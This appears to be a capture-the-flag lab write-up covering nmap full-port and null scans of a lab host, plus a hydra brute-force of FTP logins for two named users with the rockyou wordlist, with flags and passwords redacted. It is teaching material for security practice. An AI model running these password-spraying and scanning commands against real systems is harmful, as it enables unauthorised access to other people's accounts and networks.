Recon: one full-port scan answers most of it

The whole challenge rewards scanning all the ports, not just the top 1000, so the opening move is a full-range service and script scan.

❯ nmap -sV -sC -p- 10.128.156.202

PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 8.2p1  (banner: THM{█████████████})
80/tcp    open  http        Server: THM{█████████████████}
|_http-title: Welcome
139/tcp   open  netbios-ssn Samba smbd 4
445/tcp   open  netbios-ssn Samba smbd 4
8081/tcp  open  http        Node.js (Express middleware)
10001/tcp open  scp-config?
10121/tcp open  ftp         vsftpd 3.0.5

Seven open TCP ports, and two of them are hiding flags in plain sight: the box author stuffed one into the SSH identification banner and used another as the HTTP Server header. nmap -sV grabs both while fingerprinting the services, so they fall out of the same scan.

That single scan answers the enumeration questions directly:

• Highest open port below 10,000: 8081
• Open port above 10,100: 10121
• Total open TCP ports: 7
• Port 80 service version: the Server header flag (redacted above)
• Flag in the SSH banner: the SSH-2.0-OpenSSH_8.2p1 string flag (redacted above)
• FTP version (nonstandard port): vsftpd 3.0.5 on 10121

FTP: brute-force to a flag

The brief drops a hint that two usernames, eddie and quinn, were learned “via social engineering”. With names in hand and an FTP service that has no lockout, that’s an invitation to spray rockyou:

❯ hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ftp://10.128.156.202:10121

[10121][ftp] host: 10.128.156.202   login: eddie   password: ████████
[10121][ftp] host: 10.128.156.202   login: quinn   password: ██████

Both crack. eddie’s home is empty, but quinn is holding the flag file:

❯ ftp 10.128.156.202 10121          # login: quinn
ftp> ls
-rw-rw-r--    1 1002  1002   22 Feb 24 08:52 ftp_flag.txt
ftp> get ftp_flag.txt
❯ cat ftp_flag.txt
THM{███████████████}

The stealth scan and the :8081 challenge

The last question lives on the Express app at http://10.128.156.202:8081, a small in-browser challenge that hands over a flag once solved. It’s an nmap check dressed up as a puzzle, so the relevant technique is the stealth scan: a TCP null scan (-sN) sends packets with no flags set, which some hosts and firewalls answer differently than a normal SYN scan, useful for probing filtering.

❯ nmap -sN 10.128.156.202

PORT      STATE         SERVICE
22/tcp    open|filtered ssh
80/tcp    open|filtered http
139/tcp   open|filtered netbios-ssn
445/tcp   open|filtered microsoft-ds
8081/tcp  open|filtered blackice-icecap
10001/tcp open|filtered scp-config

The null scan reports open|filtered (it can’t distinguish the two, which is exactly the point of the technique), and solving the on-page challenge yields the final flag.

Answer key

Takeaways

• -p- or you’re guessing. Two of the seven services, the FTP and the Express app, live above port 8000. Default scans stop at the top 1000 and would have hidden the whole FTP path to a flag.

• -sV reads the banners for you. The SSH identification string and the HTTP Server header both carried flags; version detection grabs them in the same pass, no manual nc banner-grab needed.

Kill Chain